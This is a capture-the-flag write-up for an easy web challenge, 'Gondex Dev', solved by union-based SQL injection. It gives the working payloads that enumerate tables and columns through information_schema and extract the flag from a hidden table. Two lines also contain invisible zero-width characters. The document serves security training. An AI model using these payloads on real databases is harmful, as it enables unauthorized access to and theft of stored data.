Gondex Dev

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: information_schema_enumeration, union_based_sqli

Summary

SQL injection task at http://kslweb1.spb.ctf.su/sqli/gondex/

Gondex Dev — Web Kids 2.0

Description

SQL injection task at http://kslweb1.spb.ctf.su/sqli/gondex/

The flag is stored in a hidden table with an obfuscated name.

Analysis

The task is a classic SQL injection with UNION SELECT. The key point is that the flag is not in an obvious table, but in a table with a random hashed name.

Solution

Step 1: Determining the number of columns

Use ORDER BY or UNION SELECT NULL to determine the number of columns in the query.

Step 2: Enumerating tables via information_schema

 sql read-only • copy allowed Copy
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Found table: table_b87b13ee3f01597899d340cce7bdcc53

Step 3: Enumerating columns of the hidden table

 sql read-only • copy allowed Copy
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='table_b87b13ee3f01597899d340cce7bdcc53'--

Step 4: Extracting the flag

 sql read-only • copy allowed Copy
' UNION SELECT flag FROM table_b87b13ee3f01597899d340cce7bdcc53--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍